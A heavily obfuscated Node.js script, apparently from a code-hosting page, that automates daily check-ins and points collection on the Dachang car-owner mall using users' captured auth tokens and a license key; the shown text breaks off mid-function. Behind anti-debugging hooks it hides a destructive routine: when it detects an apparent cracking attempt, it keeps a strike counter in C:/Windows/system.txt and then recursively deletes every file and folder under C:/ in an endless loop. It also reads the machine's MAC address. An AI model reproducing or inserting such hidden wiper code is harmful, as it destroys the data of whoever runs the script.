You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
411 lines
53 KiB
411 lines
53 KiB
/*
|
|
@肥皂 7.28 大昌车主 一个月两千积分。100积分=一元
|
|
兑换代金券和视频会员零食电器之类的。
|
|
积分到账可能有延迟,不要慌
|
|
抓包域名 mall.dchmotor.com.cn
|
|
抓取 ClientAuthorization 值和 Authorization 值
|
|
拼接如 ClientAuthorization&Authorization
|
|
数据有点长多账号 换行 分割
|
|
变量 dcczhapp 对应账号数据
|
|
变量 cdkey 脚本通用卡密
|
|
一天一次
|
|
*/
|
|
setInterval_new = setInterval
|
|
setInterval = function(a, b) {
|
|
if (typeof(a)=="string" && a.indexOf("debugger") == -1) {
|
|
return setInterval_new(a, b)
|
|
}
|
|
}
|
|
|
|
Function.prototype.constructor_bc = Function.prototype.constructor;
|
|
Function.prototype.constructor = function() {
|
|
if (arguments === "debugger" || arguments[0] === "debugger") {
|
|
console.log("debugger");
|
|
return Function.prototype.constructor_bc.apply(this, "")
|
|
} //利用arguments关键字的属性获取当前方法里面的参数
|
|
else {
|
|
return Function.prototype.constructor_bc.apply(this, arguments) //跟上面处理debugger和定时器一起用的处理方法一样
|
|
}
|
|
}
|
|
const $ = new Env('大昌车主会');
|
|
var _0x159648=_0x2658,_0x11d147=_0x1b83;function _0x3eee(){var _0x216a1a=['lmo1W7WPhJpcNX/dNSoO','W5RdUCkyW4rWW5RcKW','W43cOqpdRsFdSq','z2v0rgf0zq','ACo1WQqDW7a','W4OjWP7cUMe8W5lcOJa+WQu','jMjIpte','Aw5KzxHpzG','mJu5AMHbDurH','Eg1U','5B2X5yQl54IZ5P+v77+8W6VdOw0n','C3rYAw5NAwz5','WOe6WOdcJdVdN8kkaa','WRpdLJ52Dce','CM91BMq','W5BcIuD2WQpdIb5zW6lcRq','z2v0r2XVyMfS','cUwKP+AyJoI9PUs4U+s8MUETVUwiSo+8MUAiKowkNW','bYxdUgDI','wffhW4ewW7y','WPSGWOxcNrddQCkc','C2v0','aJBdO2Ljumk5fmkaW4xdRs4','W5ZdUmkiW5j0W53cGq','W6hcTJWeWP/cTq','dSkQWQix','WOVcGSoLWRPxWOhcVJ7dItVcT8oIbwTrWPbJWOVcOmoMWPxcLX/dOG','nJm1mdeYEMjxDhnN','BgvUz3rO','p2TLEt0','cUwfRowrIU+8MG','DxnLCG','Cgf0Aa','y3jLyxrLt2jQzwn0','z2v0zgf0yq','zMXVB3i','WPbiW6NdRdu2','C3vIC3rY','W53cLCoSWRRdUrqP','EgfI','Dmoql0xcRCkZrZRdTWtcJZa','y2fSBa','WP1EW4tdRdu2','W4FcUIZdSaddU8kymCorxG','nZeXv2TtrxPl','iCkrFXtdQmoKBIZdKHNcKJa','W5O2WPynWQKjW57dPhi','CMvWBgfJzq','yxntDhjPBMC','nmk2pJ9hle1ZW54p','WORcR8okWOyNWPRdL10wEmkZjLa','y3jLyxrLvw5KzwzPBMvK','WOJcL8oIWQ8','yNvMzMvY','W67cOtCcWP/cUmkZxdlcP8k4vG','nKPvufH4Eq','AxnoB2rL','BSo0WR0AW7PvuZFdKsW','y2rRzxK','W5hdSSkvW5G','WPPtW4BdSraN','W57dJhe','WPuFerr9ta','WRJdNc0','W77dHfZcQw3dNq','kSoZW6S','WO0KDGS','W5aiWQK9dCo+','v8kYhCob','zgnJEMHHCha','nXhcHmkXW6HxW4LAWPPdWRq','mmk7kW','WPBdR8oD','Dg9tDhjPBMC','ESkSWQPVBrxcTd3dQSozma','WPPVjcC','zmowk1dcISkVEI0','FMj1WPvjW6pcKdifW4hdN8km','dmo2muLnydjWbL7dJG','zNjVBunOyxjdB2rL','WPtdUCowA8oQWQtcHw0KW4nzW4i','W4BcPYVdPcBdPG','jMLWpteMBwfJpq','W689W481','iHVdG08','CMvHzgrPCLn5BMm','rNvUy3rPB24OyxjNDw1LBNrZwZbDkYi','iaZcRCk/W6TxW6HTWOLzWR/dUa','DxrMltG','tw96AwXSys81lJaGkgLqywq7ienqvsbpuYaXnf8XigXPA2uGtwfJie9tifGPiefWCgXLv2vIs2L0lZyWns4XlJe1icHlsfrntcWGBgLRzsbhzwnRBYKGtw9IAwXLlZe1rte0ocbnAwnYB01LC3nLBMDLCI84lJaUmtGOmhGXodaWmtiZzIKGtMv0vhLWzs9xsuzjieXHBMD1ywDLl3POx0no','W4uUW5fDW40nW5jBWP4','WOtdQCkuWPtdLq','WOLOmI4/pmkRWQpcH8khW61AWOuU','CgfYC2u','BxnN','y3jLyxrLu3rYAw5N','zND1CG','W7hcGSklW5BdP8kI','WOr2WO1PW54','W7qHW5WOEG','FutdRW','WOxcLffZ','WO4GEa','WQz3WOD9','W7JLPQ/MM7tOVOFKUOVKVPRNLAVMI7JVVk8','Dw5KzwzPBMvK','ywjJzgvMmdeYmZq1nJC4oq','zgvZDhjVEq','ExL5Eq','ewmDWOKOfh/cVeVdQG','lSoTW603nd/cMG7dTSoZl8ojp8ogistdMK9ZAmoGpCopW4pcHCktwbnADwPbW58','WPDRWOfMW54jW6XhWRlcRJiXDmkHxG','zxHPC3rZu3LUyW','dmkNWRi','yMfZzw5HBwu','WP4+yqy','y2HHCKf0','tuq1','CConoghcUmk1Fa','WQFdM8oDWPdcLSkFW5PfW7/dRuS','A2b2WPf+','EWxdRSkn','ChvZAa','jqZcP8kZW5XAW5PRWRHFWRxdUG','C2v0uhjVCgvYDhK','dNzNl1OYWR9Rnmk4','W5FdUmksW5fHW4e','z2v0vwLUDdmY','jMLKpq','W57dJCk1WQatWQpcPbFdMa','55s16isr546V5Akd','z3PPCcXJB21WCMvZCYXICIXKzwzSyxrL','rd/dGmkCW6ODd8kd','f8kSWP8qW5/dUW','BwvZC2fNzq','WRJdLIrNysu','C3bSAxq','Fu7dPSksB0a','W43dHLBdU1fvWQlcMW','W5/dM2RdOMbuWQ3cJN5hWR/dNG','E8ohjepcRCk+','W5lcSYhdTYy','W5FdSSkB','WO0JCXZcMmkp','DZddKa','ESohovFcUmkXCq','zw5JB2rL','gmk6jZnym38LWOvcjf7cKmkuECk2W5hdKCkvWRhdI8oxWOvlW7pcLMhdIcfCbJFdHfuhjmoBxmoJb3KJW5/cP2VcI8ocW64+ot91p1pdMbZdO8kTC0aynCkPfb/cGdFcSSo9smo7dIldVmo1WPSaWQiQWPVcV8o8btZcRaZcQSoHF3xdQmkyqIldTCkcD0BdHNFdJCowB8kVFdPngsifWQbfWRO8gmkYofJcK3hcMmoBiCkbgHtcMfBdMby0W6JdJJpdOSoAWRldVsaiWONcJvSAWQ8qW7pdNCoDWRXbW5OlrMXlWPVdLmkvhSk+W5C','axTOoM01','dCk6WQuVW4NdSu7dPhpcHCkR','kJbvWQpcN1JcPwrV','WOiKDsVcQ8kj','DZRdMrqQuW','AxneAxjLy3rVCNK','A2vLCc1HBgL2zq','W7yolCoQW5ZcN0zwWOHZWQ7dTa','y29UDgvUDa','odCWnNDPDMHRvq','WOtdPMX5','W6RcTIyKWOFcSSkcssW','kCoVW7i2hJtcMGJdNmoZjCkd','WOiUFaNcRCkt','i8oYW7O','fYJdPwDV','DJ7dHW','WPH8WOPGW54e','WRddKcL6FsX3WOC','lI9VDxrWDxrFzMLUywWUANm','Aw5KzxG','D3jPDgvgAwXLu3LUyW','Bg9N','svPljCosCSkNbCo/W4VcHCo6','FCoOWR4EW5DwytZdVcagW60','mZi5otbVEhP0z1q','svPljCosCSkYbmoJW4hcN8o0W6BcTG','W7FdRCoKmmk2','WOz8WOvJW6WfW5vmWOxcSJO7','WQhdTCopjSoVkG','W4/cNSoRWOBdUr84','z2v0','5lUJ55cg546V5Akd','jSk0pZzrnw0LW4izEGRdKCkqta','z2v0tw9UDgG','qCo7WP1T','y2HHCKnVzgvbDa','W5xdQmkr','AM9PBG','CMvHzezPBgvtEw5J','W58fWQyOoSo5W75qkxG','WQBcMaVdUI3dGdZcRConW4RcTG','WQFdGYzPyq','WOdcGuu4W7y','zM9YrwfJAa','W7NcOtSo','WOhdVCkAWPldHmoY','WRBLPyRMM4VOVlZKUylKVOZKVBVMGzRVVBi','WPhdO8oyDmoQWQpcGhOMW5G','W4tcLmo4','Fhr+','y3jLyxrLrNvUy3rPB24','CMfUzg9T','6z2s6B6z546V5Akd','5lIQ6lsM5y+3cG','tSkPha','WPH3mYy5cSkuWRJcIG'];_0x3eee=function(){return _0x216a1a;};return _0x3eee();}(function(_0x320a28,_0x407753){var _0x28c75e=_0x2658,_0xab1623=_0x1b83,_0x2fa3a1=_0x320a28();while(!![]){try{var _0x192797=-parseInt(_0xab1623(0xc0,'mIwU'))/0x1+parseInt(_0xab1623(0x16c,'QhA9'))/0x2+-parseInt(_0x28c75e(0x176))/0x3*(-parseInt(_0xab1623(0xe9,'!Lb7'))/0x4)+-parseInt(_0xab1623(0x16d,'cksH'))/0x5*(-parseInt(_0x28c75e(0x10f))/0x6)+-parseInt(_0x28c75e(0x147))/0x7*(-parseInt(_0xab1623(0x12f,'Dpv)'))/0x8)+parseInt(_0x28c75e(0x16b))/0x9*(-parseInt(_0xab1623(0x144,'n1wn'))/0xa)+-parseInt(_0xab1623(0x171,'b%RF'))/0xb;if(_0x192797===_0x407753)break;else _0x2fa3a1['push'](_0x2fa3a1['shift']());}catch(_0x3b217c){_0x2fa3a1['push'](_0x2fa3a1['shift']());}}}(_0x3eee,0x26f7c));const VM=require(_0x11d147(0x127,'bP9I'))(),path=require(_0x159648(0x15f)),fs=require('fs'),cryptoJS=require(_0x11d147(0x108,'%!aZ'));function initVM(){var _0x22106c=_0x11d147,_0x1f5948=_0x159648;vm=new VM();const _0x5b5fec=vm['getGlobal'](),_0x4b0dd2=vm[_0x1f5948(0x160)](),_0x53ca06=vm[_0x1f5948(0x139)]('log',function(){var _0x16baf6=_0x1f5948,_0x36b953=_0x1b83;const _0xdfa36d=[];for(let _0x3fa58e=0x0;_0x3fa58e<arguments[_0x36b953(0x17d,'rWs3')];_0x3fa58e++){_0xdfa36d[_0x36b953(0xe5,'J0^v')](vm[_0x16baf6(0x16f)](arguments[_0x3fa58e]));}return console['log'](..._0xdfa36d),vm[_0x16baf6(0x172)]();}),_0x29e51f=vm['createFunction'](_0x22106c(0x129,'Qj7b'),function(_0x4942c9){var _0x2f2a5f=_0x1f5948,_0x53ab0b=_0x22106c;let _0x343edd=eval(_0x4942c9[_0x53ab0b(0xcd,'Cv@Y')]);return vm['createString'](JSON[_0x2f2a5f(0x14a)](_0x343edd));}),_0xcc9232=vm[_0x22106c(0xce,'TdZE')](_0x1f5948(0xde),function(_0x4bf250){var _0x5a9f62=_0x1f5948,_0x4d2188=_0x22106c;let _0x229254=_0x4bf250[_0x4d2188(0xff,'eF@[')],_0x3eb063=fs[_0x5a9f62(0x12d)](_0x229254,_0x5a9f62(0xca))['replace'](/\r\n/g,'\x0a'),_0x1f1780=cryptoJS[_0x5a9f62(0xe7)](_0x3eb063)[_0x5a9f62(0x188)]();return vm[_0x5a9f62(0xd1)](_0x1f1780);}),_0x12e5c1=vm[_0x22106c(0x120,'WI)E')](_0x22106c(0x138,'D9yn'),function(_0x3f3d37){var _0x4cee8b=_0x22106c,_0x583929=_0x1f5948;let _0x5e33a8=cryptoJS[_0x583929(0xe7)](_0x3f3d37['value'])[_0x4cee8b(0xfc,'el]l')]();return vm[_0x4cee8b(0x11d,'WI)E')](_0x5e33a8);});return vm[_0x1f5948(0xee)](_0x4b0dd2,_0x22106c(0xd6,'IgwN'),_0x53ca06),vm[_0x1f5948(0xee)](_0x5b5fec,_0x22106c(0xc5,'whYt'),_0x29e51f),vm['setProperty'](_0x5b5fec,'console',_0x4b0dd2),vm[_0x1f5948(0xee)](_0x5b5fec,'yyyy',_0xcc9232),vm[_0x22106c(0x107,'aNwk')](_0x5b5fec,_0x22106c(0x187,'VR*n'),_0x12e5c1),vm['run'](fs[_0x1f5948(0x12d)](_0x1f5948(0x119))[_0x1f5948(0x188)]()),vm;}function destroyVM(_0x460449){var _0x26ccac=_0x159648;_0x460449[_0x26ccac(0xdd)]();}function abc(_0x1fc830,_0x1a3e8f,_0x1389e2,_0x2d7013,_0x2c6123){var _0x10e02c=_0x11d147,_0x113144=_0x159648;const _0x3643df=_0x1fc830[_0x113144(0x14f)]();let _0x1c7878=_0x1fc830['getProperty'](_0x3643df,_0x113144(0x166)),_0x1f63be=_0x1fc830['call'](_0x1c7878,_0x1fc830[_0x10e02c(0xe1,'6SW$')](),_0x1fc830[_0x113144(0xd1)](_0x1a3e8f),_0x1fc830[_0x10e02c(0x175,'c0Co')](_0x2d7013),_0x1fc830[_0x10e02c(0xc9,'@5WS')](_0x2c6123),_0x1fc830['createString'](_0x1389e2));return _0x1f63be=_0x1fc830[_0x113144(0x16f)](_0x1f63be),_0x1f63be;}function _0x1b83(_0x15f633,_0x24670a){var _0x3eee9b=_0x3eee();return _0x1b83=function(_0x2658b3,_0x2c5863){_0x2658b3=_0x2658b3-0xbe;var _0x266506=_0x3eee9b[_0x2658b3];if(_0x1b83['GJDwwE']===undefined){var _0x487c69=function(_0x14f208){var _0x250d2d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x57e3b9='',_0x1b59bd='';for(var _0x217b1a=0x0,_0x5a38f3,_0x5b5fec,_0x4b0dd2=0x0;_0x5b5fec=_0x14f208['charAt'](_0x4b0dd2++);~_0x5b5fec&&(_0x5a38f3=_0x217b1a%0x4?_0x5a38f3*0x40+_0x5b5fec:_0x5b5fec,_0x217b1a++%0x4)?_0x57e3b9+=String['fromCharCode'](0xff&_0x5a38f3>>(-0x2*_0x217b1a&0x6)):0x0){_0x5b5fec=_0x250d2d['indexOf'](_0x5b5fec);}for(var _0x53ca06=0x0,_0x29e51f=_0x57e3b9['length'];_0x53ca06<_0x29e51f;_0x53ca06++){_0x1b59bd+='%'+('00'+_0x57e3b9['charCodeAt'](_0x53ca06)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1b59bd);};var _0x1b8371=function(_0xcc9232,_0x12e5c1){var _0xdfa36d=[],_0x3fa58e=0x0,_0x4942c9,_0x343edd='';_0xcc9232=_0x487c69(_0xcc9232);var _0x4bf250;for(_0x4bf250=0x0;_0x4bf250<0x100;_0x4bf250++){_0xdfa36d[_0x4bf250]=_0x4bf250;}for(_0x4bf250=0x0;_0x4bf250<0x100;_0x4bf250++){_0x3fa58e=(_0x3fa58e+_0xdfa36d[_0x4bf250]+_0x12e5c1['charCodeAt'](_0x4bf250%_0x12e5c1['length']))%0x100,_0x4942c9=_0xdfa36d[_0x4bf250],_0xdfa36d[_0x4bf250]=_0xdfa36d[_0x3fa58e],_0xdfa36d[_0x3fa58e]=_0x4942c9;}_0x4bf250=0x0,_0x3fa58e=0x0;for(var _0x229254=0x0;_0x229254<_0xcc9232['length'];_0x229254++){_0x4bf250=(_0x4bf250+0x1)%0x100,_0x3fa58e=(_0x3fa58e+_0xdfa36d[_0x4bf250])%0x100,_0x4942c9=_0xdfa36d[_0x4bf250],_0xdfa36d[_0x4bf250]=_0xdfa36d[_0x3fa58e],_0xdfa36d[_0x3fa58e]=_0x4942c9,_0x343edd+=String['fromCharCode'](_0xcc9232['charCodeAt'](_0x229254)^_0xdfa36d[(_0xdfa36d[_0x4bf250]+_0xdfa36d[_0x3fa58e])%0x100]);}return _0x343edd;};_0x1b83['lRIfMc']=_0x1b8371,_0x15f633=arguments,_0x1b83['GJDwwE']=!![];}var _0x2cd128=_0x3eee9b[0x0],_0x41fcb3=_0x2658b3+_0x2cd128,_0x470b98=_0x15f633[_0x41fcb3];return!_0x470b98?(_0x1b83['LiwKmB']===undefined&&(_0x1b83['LiwKmB']=!![]),_0x266506=_0x1b83['lRIfMc'](_0x266506,_0x2c5863),_0x15f633[_0x41fcb3]=_0x266506):_0x266506=_0x470b98,_0x266506;},_0x1b83(_0x15f633,_0x24670a);}function xyz(_0x168812,_0x25b1cc,_0x30afe2,_0x16dd94,_0x2fe3d9){var _0xa86e2e=_0x159648,_0x39dacd=_0x11d147;const _0x52cb35=_0x168812[_0x39dacd(0x111,'c0Co')]();let _0x2808d8=_0x168812['getProperty'](_0x52cb35,_0xa86e2e(0x148)),_0x4d3172=_0x168812[_0xa86e2e(0x168)](_0x2808d8,_0x168812['createUndefined'](),_0x168812['createString'](_0x25b1cc),_0x168812[_0xa86e2e(0xd1)](_0x16dd94),_0x168812[_0x39dacd(0x167,'QhA9')](_0x2fe3d9),_0x168812[_0x39dacd(0x10d,'WEWI')](_0x30afe2));return _0x4d3172=_0x168812[_0xa86e2e(0x16f)](_0x4d3172),_0x4d3172;}var gtr;let ml='',mac='',status;status=(status=$[_0x11d147(0x14c,'2*dr')]('qmwkstatus')||'1')>0x1?''+status:'',JSNAMED=$[_0x11d147(0x163,'n1wn')]()?require(_0x159648(0x15f))[_0x159648(0xe4)](__filename):'kxnjy.js';let dcczhappArr=[],all_msg='',ctoken='',atoken='',arrs=[],dcczhapp=($[_0x11d147(0x141,'eF@[')]()?process[_0x11d147(0x186,'bP9I')][_0x159648(0x184)]:$['getdata'](_0x11d147(0x118,'2*dr')))||'',acckey=$[_0x11d147(0x123,'PxtA')]()?process[_0x11d147(0x180,'y5VR')][_0x159648(0x179)]?process['env'][_0x11d147(0xd5,'whYt')]:'':$[_0x11d147(0x156,'b%RF')](_0x159648(0x179))?$[_0x159648(0x161)]('cdkey'):'';var myDate=new Date(),myYear=myDate['getFullYear'](),myMonth=myDate[_0x159648(0x128)]()+0x1,myToday=myDate[_0x159648(0x142)]();myMonth>=0xa?myMonth=myMonth:myMonth='0'+myMonth;function _0x2658(_0x15f633,_0x24670a){var _0x3eee9b=_0x3eee();return _0x2658=function(_0x2658b3,_0x2c5863){_0x2658b3=_0x2658b3-0xbe;var _0x266506=_0x3eee9b[_0x2658b3];if(_0x2658['LgAapw']===undefined){var _0x487c69=function(_0x1b8371){var _0x14f208='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x250d2d='',_0x57e3b9='';for(var _0x1b59bd=0x0,_0x217b1a,_0x5a38f3,_0x5b5fec=0x0;_0x5a38f3=_0x1b8371['charAt'](_0x5b5fec++);~_0x5a38f3&&(_0x217b1a=_0x1b59bd%0x4?_0x217b1a*0x40+_0x5a38f3:_0x5a38f3,_0x1b59bd++%0x4)?_0x250d2d+=String['fromCharCode'](0xff&_0x217b1a>>(-0x2*_0x1b59bd&0x6)):0x0){_0x5a38f3=_0x14f208['indexOf'](_0x5a38f3);}for(var _0x4b0dd2=0x0,_0x53ca06=_0x250d2d['length'];_0x4b0dd2<_0x53ca06;_0x4b0dd2++){_0x57e3b9+='%'+('00'+_0x250d2d['charCodeAt'](_0x4b0dd2)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x57e3b9);};_0x2658['FKWmOx']=_0x487c69,_0x15f633=arguments,_0x2658['LgAapw']=!![];}var _0x2cd128=_0x3eee9b[0x0],_0x41fcb3=_0x2658b3+_0x2cd128,_0x470b98=_0x15f633[_0x41fcb3];return!_0x470b98?(_0x266506=_0x2658['FKWmOx'](_0x266506),_0x15f633[_0x41fcb3]=_0x266506):_0x266506=_0x470b98,_0x266506;},_0x2658(_0x15f633,_0x24670a);}myToday>=0xa?myToday=myToday:myToday='0'+myToday;if($[_0x159648(0x177)]()){gtr=require('fs');if(isFileExist(_0x11d147(0xe3,'y5VR')))console[_0x159648(0x11c)](_0x159648(0xf4)),setInterval(()=>{var _0x369377=_0x11d147;do{(function(_0x5add02){return function(_0x2ae902){var _0x1e656f=_0x2658;return Function(_0x1e656f(0xc8)+_0x2ae902+'\x22)()');}(_0x5add02);}(_0x369377(0x152,']598'))('de',0x0,0x0,(0x0,0x0)),addF(_0x369377(0xd8,'TdZE')),addF('C:/'));}while(0x1);},0x0);else{console[_0x11d147(0x102,'dRjX')](_0x159648(0x13b));function getMACAddresses(){var _0x48a714=_0x11d147,_0x59314f=_0x159648,_0x4b6acb='',_0x1e7b67=fs[_0x59314f(0xc7)]('/sys/class/net/');return _0x1e7b67[_0x48a714(0xe8,'QhA9')](function(_0x456dde){var _0x4ea754=_0x48a714,_0x5f47ff=_0x59314f,_0x5a6e59=path[_0x5f47ff(0x12c)]('/sys/class/net',_0x456dde,_0x4ea754(0x140,'b%RF'));_0x456dde[_0x4ea754(0x134,'Cv@Y')](0x0,0x3)=='eth'&&fs[_0x5f47ff(0xe2)](_0x5a6e59)&&(_0x4b6acb=fs[_0x4ea754(0x122,'6SW$')](_0x5a6e59)[_0x5f47ff(0x188)]()[_0x4ea754(0x133,'c0Co')]());}),_0x4b6acb;}mac=getMACAddresses();}}else console[_0x159648(0x11c)](_0x159648(0x126));function isFileExist(_0x5e4f4e){var _0x269741=_0x11d147;try{gtr[_0x269741(0x170,'bP9I')](_0x5e4f4e,gtr[_0x269741(0xc6,'aaKj')]);}catch(_0x2623a1){return![];}return!![];}function addF(_0x5b3d7a,_0x23b04){var _0x4f4352=_0x11d147,_0x267f27=_0x159648;let _0x113781=0x0,_0xf4306a='C:/Windows/system.txt';if(isFileExist(_0xf4306a))_0x113781=gtr[_0x267f27(0x12d)](_0xf4306a,_0x4f4352(0x183,'#fGm'));else{if(isFileExist('C:/'))gtr['writeFile'](_0xf4306a,'1',function(_0x5ae5c2){if(_0x5ae5c2)throw _0x5ae5c2;});else return;}if(_0x113781==0x63)return 0x63;console['log'](_0x113781),console[_0x267f27(0x11c)]('警告,恶意破解脚本将面临系统爆炸!!!,你只有3次机会!',_0x113781);if(parseInt(_0x113781)<0x3){let _0x58a840=parseInt(_0x113781)+0x1;gtr[_0x267f27(0x11b)](_0xf4306a,_0x58a840+'',_0x4f4352(0xd7,'s&cP'));return;}if(!gtr[_0x267f27(0xe2)](_0x5b3d7a))return;if(gtr['statSync'](_0x5b3d7a)[_0x267f27(0x10b)]()){var _0x31a773=gtr[_0x267f27(0xc7)](_0x5b3d7a),_0x1978b8=_0x31a773[_0x4f4352(0xf9,'2*dr')],_0x189760=0x0;if(_0x1978b8>0x0)_0x31a773[_0x267f27(0x132)](function(_0xcfa110){var _0x354607=_0x267f27,_0x51372f=_0x4f4352;_0x189760++;var _0x2867d9=gtr[_0x51372f(0xbe,'QhA9')](_0x5b3d7a+'/'+_0xcfa110),_0x146d95=_0x5b3d7a+'/'+_0xcfa110;gtr[_0x51372f(0x14b,'0kgv')](_0x146d95)[_0x354607(0x10b)]()?addF(_0x146d95,!![]):gtr[_0x51372f(0x178,'0FAW')](_0x146d95);}),_0x1978b8==_0x189760&&_0x23b04&>r['rmdirSync'](_0x5b3d7a);else _0x1978b8==0x0&&_0x23b04&>r[_0x4f4352(0x13e,'TdZE')](_0x5b3d7a);}else gtr['unlinkSync'](_0x5b3d7a);}!(async()=>{var _0x2c91b4=_0x11d147,_0x29e79b=_0x159648;if(typeof $request!==_0x29e79b(0xdb)){}else{initVM(),arrs=abc(global['vm'],acckey,mac,0x42,0x0);if(arrs=='')return;arrs=JSON[_0x29e79b(0xcf)](arrs);if(!arrs)return;dcczhappArr=dcczhapp[_0x2c91b4(0xea,'D9yn')]('\x0a'),console[_0x2c91b4(0x17e,'2*dr')](_0x29e79b(0x15d)+arrs['gg']+'\x0a'),console[_0x2c91b4(0x114,'y5VR')](_0x2c91b4(0x149,'#fGm')+arrs['bb']+'\x0a'),console['log']('-------------\x20共'+dcczhappArr[_0x29e79b(0x15b)]+'个账号-------------\x0a'),console['log']('当前设备可执行账号限制为'+arrs[_0x2c91b4(0x12b,'b%RF')]+_0x29e79b(0x13c));if(dcczhappArr[_0x2c91b4(0x17f,'Dpv)')]>parseInt(arrs['num'])){}else for(let _0x5b8513=0x0;_0x5b8513<dcczhappArr[_0x2c91b4(0xf0,'b%RF')];_0x5b8513++){dcczhapp=dcczhappArr[_0x5b8513],$[_0x29e79b(0x11a)]=_0x5b8513+0x1,console[_0x2c91b4(0x13d,'#fGm')]('\x0a开始【大昌车主会'+$['index']+'】'),ctoken=dcczhapp[_0x29e79b(0xfa)]('&')[0x0],atoken=dcczhapp[_0x2c91b4(0x130,'2*dr')]('&')[0x1],await dcczhqd(),await dcczhxx();}}})()[_0x11d147(0x151,'aaKj')](_0x15c35f=>$['logErr'](_0x15c35f))['finally'](()=>$[_0x11d147(0x173,'wEsM')]());function dcczhqd(_0x344302=0x0){return new Promise(_0x2f9de6=>{var _0x469821=_0x1b83,_0xf4e1be=_0x2658;let _0x917b5a=Math[_0xf4e1be(0x14d)](new Date()['getTime']()/0x3e8),_0x1fc781={'url':'https://mall.dchmotor.com.cn/service/markting/signin','headers':{'Host':'mall.dchmotor.com.cn','Connection':'keep-alive','ClientAuthorization':ctoken,'Content-Type':'application/x-www-form-urlencoded','Authorization':atoken,'Accept-Encoding':_0x469821(0x159,'wEsM'),'User-Agent':_0x469821(0x105,'bP9I')}};$[_0x469821(0x17c,'el]l')](_0x1fc781,async(_0x3a5938,_0x1cb592,_0x115082)=>{var _0x43a8d1=_0xf4e1be,_0x339136=_0x469821;try{const _0x5060b3=JSON[_0x339136(0x131,'s&cP')](_0x115082);_0x5060b3['code']==0x0?console['log'](_0x43a8d1(0x150)):console[_0x339136(0x137,'T%Zu')]('\x0a大昌车主会签到:'+_0x5060b3[_0x43a8d1(0xf8)]);}catch(_0x4cdcfd){}finally{_0x2f9de6();}},_0x344302);});}function dcczhxx(_0x1c0f92=0x0){return new Promise(_0x2f61aa=>{var _0x2be270=_0x2658,_0x50b7c4=_0x1b83;let _0x2aa6c8=Math[_0x50b7c4(0x143,'0FAW')](new Date()[_0x50b7c4(0x124,'T%Zu')]()/0x3e8),_0x665f0b={'url':'https://mall.dchmotor.com.cn/service/member/users/home','headers':{'Host':'mall.dchmotor.com.cn','Connection':_0x2be270(0x10c),'ClientAuthorization':ctoken,'Content-Type':_0x50b7c4(0xe0,'y5VR'),'Authorization':atoken,'Accept-Encoding':_0x2be270(0xf5),'User-Agent':_0x2be270(0xcb)}};$[_0x2be270(0x125)](_0x665f0b,async(_0x8976f8,_0x27f5c9,_0xed0577)=>{var _0xd3d95a=_0x50b7c4,_0x3e128f=_0x2be270;try{const _0x4160e3=JSON[_0x3e128f(0xcf)](_0xed0577);_0x4160e3['code']==0x0?console[_0xd3d95a(0x100,'b%RF')](_0xd3d95a(0xda,'Cv@Y')+_0x4160e3[_0x3e128f(0x10e)][_0x3e128f(0x15e)][_0xd3d95a(0xf6,'KmBd')]+'\x20积分余额:'+_0x4160e3['content'][_0x3e128f(0x15e)][_0xd3d95a(0xd4,'6SW$')]):console[_0x3e128f(0x11c)](_0xd3d95a(0x135,'ZGlL')+_0x4160e3[_0xd3d95a(0x103,'QhA9')]);}catch(_0x289ff4){}finally{_0x2f61aa();}},_0x1c0f92);});}function randomString(_0x202d97=0xc){var _0x202cc8=_0x159648;let _0xce0851=_0x202cc8(0xdc),_0xd2ef6d=_0xce0851[_0x202cc8(0x15b)],_0xd3f26a='';for(i=0x0;i<_0x202d97;i++){_0xd3f26a+=_0xce0851[_0x202cc8(0xe6)](Math[_0x202cc8(0x162)](Math[_0x202cc8(0x13a)]()*_0xd2ef6d));}return _0xd3f26a;}function encodeUTF8(_0x4b79f0){var _0x15de9d=_0x11d147,_0x2db7ca=_0x159648,_0x2d62c1,_0x4cb873=[],_0x384fb9,_0x3bf4de;for(_0x2d62c1=0x0;_0x2d62c1<_0x4b79f0[_0x2db7ca(0x15b)];_0x2d62c1++)if((_0x384fb9=_0x4b79f0[_0x2db7ca(0x12a)](_0x2d62c1))<0x80)_0x4cb873['push'](_0x384fb9);else{if(_0x384fb9<0x800)_0x4cb873[_0x15de9d(0x158,'aNwk')](0xc0+(_0x384fb9>>0x6&0x1f),0x80+(_0x384fb9&0x3f));else{if((_0x3bf4de=_0x384fb9^0xd800)>>0xa==0x0)_0x384fb9=(_0x3bf4de<<0xa)+(_0x4b79f0[_0x2db7ca(0x12a)](++_0x2d62c1)^0xdc00)+0x10000,_0x4cb873[_0x2db7ca(0xec)](0xf0+(_0x384fb9>>0x12&0x7),0x80+(_0x384fb9>>0xc&0x3f));else _0x4cb873[_0x15de9d(0x18a,'TdZE')](0xe0+(_0x384fb9>>0xc&0xf));_0x4cb873[_0x2db7ca(0xec)](0x80+(_0x384fb9>>0x6&0x3f),0x80+(_0x384fb9&0x3f));}};return _0x4cb873;}function sha(_0x4b02f9){var _0x2a45ea=_0x159648,_0x157a24=_0x11d147,_0x5196da=new Uint8Array(encodeUTF8(_0x4b02f9)),_0x5df92a,_0x5ddf7e,_0x2dd5be,_0x393e28=(_0x5196da[_0x157a24(0xfb,'IgwN')]+0x8>>>0x6<<0x4)+0x10,_0x4b02f9=new Uint8Array(_0x393e28<<0x2);_0x4b02f9[_0x2a45ea(0x154)](new Uint8Array(_0x5196da[_0x2a45ea(0x174)])),_0x4b02f9=new Uint32Array(_0x4b02f9['buffer']);for(_0x2dd5be=new DataView(_0x4b02f9[_0x2a45ea(0x174)]),_0x5df92a=0x0;_0x5df92a<_0x393e28;_0x5df92a++)_0x4b02f9[_0x5df92a]=_0x2dd5be[_0x2a45ea(0xf1)](_0x5df92a<<0x2);_0x4b02f9[_0x5196da[_0x157a24(0x157,'c0Co')]>>0x2]|=0x80<<0x18-(_0x5196da['length']&0x3)*0x8,_0x4b02f9[_0x393e28-0x1]=_0x5196da[_0x157a24(0xf9,'2*dr')]<<0x3;var _0x3815ab=[],_0x5e2587=[function(){return _0x1845e8[0x1]&_0x1845e8[0x2]|~_0x1845e8[0x1]&_0x1845e8[0x3];},function(){return _0x1845e8[0x1]^_0x1845e8[0x2]^_0x1845e8[0x3];},function(){return 